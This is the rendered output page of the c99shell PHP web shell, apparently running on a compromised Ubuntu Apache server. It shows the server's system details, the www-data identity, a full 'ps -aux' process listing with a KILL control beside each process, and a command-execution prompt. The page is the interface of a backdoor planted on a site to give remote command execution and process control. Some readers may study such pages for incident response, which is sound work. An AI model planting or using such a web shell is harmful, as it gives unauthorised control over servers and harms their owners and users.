Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/nmap/ drwxr-xr-x | |
| Processes: | ||||||||||||||||||||||||||||
| USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||
| root | 1 | 0.0 0.1 185196 3624 ? Ss 2021 25:23 /sbin/init | KILL | |||||||||||||||||||||||||
| message+ | 687 | 0.0 | 0.0 | 42888 | 1788 ? Ss 2021 0:15 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation | KILL | ||||||||||||||||||||||
| root | 786 | 0.0 | 0.1 277080 2408 ? Ssl 2021 0:00 /usr/lib/policykit-1/polkitd --no-debug | KILL | ||||||||||||||||||||||||
| root | 785 | 0.0 | 0.4 177040 9680 ? Ssl 2021 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal | KILL | ||||||||||||||||||||||||
| www-data | 734 | 0.0 | 0.0 | 125304 | 1968 ? S 2021 0:00 nginx: worker process | KILL | ||||||||||||||||||||||
| root | 733 | 0.0 | 0.0 124968 1400 ? Ss 2021 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; | KILL | ||||||||||||||||||||||||
| root | 727 | 0.0 | 0.1 65504 3276 ? Ss 2021 76:24 /usr/sbin/sshd -D | KILL | ||||||||||||||||||||||||
| root | 691 | 0.0 | 0.0 275740 1800 ? Ssl 2021 110:18 /usr/lib/accountsservice/accounts-daemon | KILL | ||||||||||||||||||||||||
| root | 689 | 0.0 | 0.0 28636 1348 ? Ss 2021 1:29 /lib/systemd/systemd-logind | KILL | ||||||||||||||||||||||||
| root | 668 | 0.0 | 0.0 29000 1268 ? Ss 2021 4:51 /usr/sbin/cron -f | KILL | ||||||||||||||||||||||||
| www-data | 1385 | 0.0 | 2.1 | 758604 | 44152 | ? | Sl 14:53 0:01 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| root | 666 | 0.0 | 0.0 29868 1092 ? Ss 2021 0:00 /sbin/cgmanager -m name=systemd | KILL | ||||||||||||||||||||||||
| daemon | 665 | 0.0 | 0.0 | 26036 940 ? Ss 2021 0:01 /usr/sbin/atd -f | KILL | |||||||||||||||||||||||
| root | 664 | 0.0 | 0.0 4388 628 ? Ss 2021 0:00 /usr/sbin/acpid | KILL | ||||||||||||||||||||||||
| syslog | 654 | 0.0 | 0.1 | 256384 2552 ? Ssl 2021 64:45 /usr/sbin/rsyslogd -n | KILL | |||||||||||||||||||||||
| root | 2 | 0.0 0.0 0 0 ? S 2021 0:00 [kthreadd] | KILL | |||||||||||||||||||||||||
| root | 410 | 0.0 | 0.0 0 0 ? S< 2021 0:00 [qxl_gc] | KILL | ||||||||||||||||||||||||
| root | 392 | 0.0 | 0.0 0 0 ? S< 2021 0:00 [ttm_swap] | KILL | ||||||||||||||||||||||||
| root | 800 | 0.0 | 0.0 15928 708 tty1 Ss+ 2021 0:00 /sbin/agetty --noclear tty1 linux | KILL | ||||||||||||||||||||||||
| www-data | 1413 | 0.2 | 1.4 | 325280 | 29480 | ? | S 19:16 0:07 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| root | 216 | 0.0 | 0.0 43812 1572 ? Ss 2021 1:10 /lib/systemd/systemd-udevd | KILL | ||||||||||||||||||||||||
| root | 14588 | 0.0 | 0.0 | 0 0 ? S 2024 0:00 [kworker/u2:2] | KILL | |||||||||||||||||||||||
| root | 29608 | 0.0 | 0.0 | 0 0 ? S< 17:31 0:00 [kworker/u3:2] | KILL | |||||||||||||||||||||||
| sshd | 29180 | 0.0 | 0.0 | 65504 1408 ? S 20:09 0:00 sshd: root [net] | KILL | |||||||||||||||||||||||
| root | 29052 | 0.0 | 0.1 | 96804 3804 ? Ss 20:09 0:00 sshd: root [priv] | KILL | |||||||||||||||||||||||
| root | 28013 | 0.0 | 0.0 | 0 0 ? S Oct27 0:14 [kworker/0:2] | KILL | |||||||||||||||||||||||
| root | 25929 | 0.0 | 0.0 | 0 0 ? S 2022 12:39 [kworker/u2:0] | KILL | |||||||||||||||||||||||
| mysql | 18117 | 0.4 | 22.8 | 1172992 | 467824 | ? Ssl 2021 9036:42 /usr/sbin/mysqld | KILL | |||||||||||||||||||||
| root | 17962 | 0.0 | 1.7 | 319980 35624 ? Ss 2021 73:37 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||||
| root | 12321 | 0.0 | 0.0 | 0 0 ? S< 15:10 0:00 [kworker/u3:0] | KILL | |||||||||||||||||||||||
| www-data | 2595 | 0.0 | 1.1 | 526892 | 23320 | ? | Sl 06:55 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| root | 9456 | 0.0 | 0.0 0 0 ? S Oct26 0:00 [kworker/0:0] | KILL | ||||||||||||||||||||||||
| www-data | 7803 | 0.4 | 1.4 | 325244 | 29092 | ? | S 19:51 0:04 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 6172 | 0.0 | 1.1 | 526892 | 23312 | ? | Sl 07:01 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 4922 | 0.0 | 1.1 | 526892 | 23320 | ? | Sl 06:59 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 4550 | 0.3 | 1.4 | 325084 | 29124 | ? | S 19:45 0:05 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 3595 | 0.3 | 1.4 | 325256 | 29408 | ? | S 19:18 0:09 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 3558 | 0.2 | 1.4 | 325264 | 29284 | ? | S 19:18 0:06 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| systemd+ | 279 | 0.0 | 0.0 | 100316 | 1012 ? Ssl 2021 2:15 /lib/systemd/systemd-timesyncd | KILL | ||||||||||||||||||||||
| root | 412 | 0.0 | 0.0 0 0 ? S< 2021 0:00 [kvm-irqfd-clean] | KILL | ||||||||||||||||||||||||
| root | 196 | 0.0 | 0.0 0 0 ? S 2021 0:00 [kauditd] | KILL | ||||||||||||||||||||||||
| root | 13 | 0.0 0.0 0 0 ? S< 2021 0:00 [khelper] | KILL | |||||||||||||||||||||||||
| root | 21 | 0.0 0.0 0 0 ? S< 2021 0:00 [ata_sff] | KILL | |||||||||||||||||||||||||
| root | 20 | 0.0 0.0 0 0 ? S< 2021 0:00 [kblockd] | KILL | |||||||||||||||||||||||||
| root | 181 | 0.0 | 0.0 29636 1552 ? Ss 2021 198:30 /lib/systemd/systemd-journald | KILL | ||||||||||||||||||||||||
| root | 17 | 0.0 0.0 0 0 ? S< 2021 0:00 [kintegrityd] | KILL | |||||||||||||||||||||||||
| root | 16 | 0.0 0.0 0 0 ? S< 2021 0:00 [writeback] | KILL | |||||||||||||||||||||||||
| root | 15 | 0.0 0.0 0 0 ? S< 2021 0:00 [netns] | KILL | |||||||||||||||||||||||||
| root | 14 | 0.0 0.0 0 0 ? S 2021 0:00 [kdevtmpfs] | KILL | |||||||||||||||||||||||||
| root | 12 | 0.0 0.0 0 0 ? S 2021 15:16 [watchdog/0] | KILL | |||||||||||||||||||||||||
| root | 23 | 0.0 0.0 0 0 ? S< 2021 0:00 [md] | KILL | |||||||||||||||||||||||||
| root | 11 | 0.0 0.0 0 0 ? S 2021 0:00 [migration/0] | KILL | |||||||||||||||||||||||||
| root | 10 | 0.0 0.0 0 0 ? S 2021 0:00 [rcuob/0] | KILL | |||||||||||||||||||||||||
| root | 9 | 0.0 0.0 0 0 ? S 2021 0:00 [rcu_bh] | KILL | |||||||||||||||||||||||||
| root | 8 | 0.0 0.0 0 0 ? S 2021 75:03 [rcuos/0] | KILL | |||||||||||||||||||||||||
| root | 7 | 0.0 0.0 0 0 ? S 2021 47:48 [rcu_sched] | KILL | |||||||||||||||||||||||||
| root | 5 | 0.0 0.0 0 0 ? S< 2021 0:00 [kworker/0:0H] | KILL | |||||||||||||||||||||||||
| root | 3 | 0.0 0.0 0 0 ? S 2021 2:30 [ksoftirqd/0] | KILL | |||||||||||||||||||||||||
| root | 22 | 0.0 0.0 0 0 ? S 2021 0:00 [khubd] | KILL | |||||||||||||||||||||||||
| root | 18 | 0.0 0.0 0 0 ? S< 2021 0:00 [bioset] | KILL | |||||||||||||||||||||||||
| root | 24 | 0.0 0.0 0 0 ? S< 2021 0:00 [devfreq_wq] | KILL | |||||||||||||||||||||||||
| root | 47 | 0.0 0.0 0 0 ? S 2021 0:00 [vballoon] | KILL | |||||||||||||||||||||||||
| root | 118 | 0.0 | 0.0 0 0 ? S< 2021 0:00 [kpsmoused] | KILL | ||||||||||||||||||||||||
| root | 126 | 0.0 | 0.0 0 0 ? S 2021 22:38 [jbd2/vda1-8] | KILL | ||||||||||||||||||||||||
| root | 127 | 0.0 | 0.0 0 0 ? S< 2021 0:00 [ext4-rsv-conver] | KILL | ||||||||||||||||||||||||
| root | 27 | 0.0 0.0 0 0 ? S 2021 0:47 [khungtaskd] | KILL | |||||||||||||||||||||||||
| root | 70 | 0.0 0.0 0 0 ? S< 2021 0:00 [deferwq] | KILL | |||||||||||||||||||||||||
| root | 49 | 0.0 0.0 0 0 ? S 2021 0:00 [scsi_eh_1] | KILL | |||||||||||||||||||||||||
| root | 48 | 0.0 0.0 0 0 ? S 2021 0:00 [scsi_eh_0] | KILL | |||||||||||||||||||||||||
| root | 71 | 0.0 0.0 0 0 ? S< 2021 0:00 [charger_manager] | KILL | |||||||||||||||||||||||||
| root | 116 | 0.0 | 0.0 0 0 ? S 2021 0:00 [scsi_eh_2] | KILL | ||||||||||||||||||||||||
| root | 45 | 0.0 0.0 0 0 ? S< 2021 0:00 [kthrotld] | KILL | |||||||||||||||||||||||||
| root | 33 | 0.0 0.0 0 0 ? S< 2021 0:00 [crypto] | KILL | |||||||||||||||||||||||||
| root | 32 | 0.0 0.0 0 0 ? S 2021 0:00 [ecryptfs-kthrea] | KILL | |||||||||||||||||||||||||
| root | 31 | 0.0 0.0 0 0 ? S 2021 0:00 [fsnotify_mark] | KILL | |||||||||||||||||||||||||
| root | 30 | 0.0 0.0 0 0 ? SN 2021 7:32 [khugepaged] | KILL | |||||||||||||||||||||||||
| root | 29 | 0.0 0.0 0 0 ? SN 2021 0:00 [ksmd] | KILL | |||||||||||||||||||||||||
| root | 28 | 0.0 0.0 0 0 ? S 2021 0:46 [kswapd0] | KILL | |||||||||||||||||||||||||
| www-data | 10076 | 0.3 | 1.4 | 325268 | 29548 | ? | S 19:02 0:12 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 20485 | 0.3 | 1.4 | 324956 | 28864 | ? | S 20:03 0:01 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 22187 | 0.3 | 1.3 | 324856 | 28696 | ? | S 20:05 0:01 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 23869 | 0.4 | 1.4 | 325060 | 28728 | ? | S 20:06 0:01 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 25225 | 0.3 | 1.3 | 324844 | 28484 | ? | S 20:07 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 29065 | 0.2 | 1.3 | 322636 | 27180 | ? | S 20:09 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 29193 | 0.2 | 1.3 | 322492 | 26840 | ? | S 20:09 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 29226 | 0.1 | 1.1 | 322040 | 23184 | ? | S 20:09 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 29227 | 0.1 | 1.1 | 322040 | 23184 | ? | S 20:09 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
| www-data | 29770 | 0.0 | 0.0 | 4496 | 652 ? S 20:09 0:00 sh -c ps -aux | KILL | ||||||||||||||||||||||
| www-data | 29771 | 0.0 | 0.0 | 34416 | 1524 | ? R 20:09 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0174 ]-- |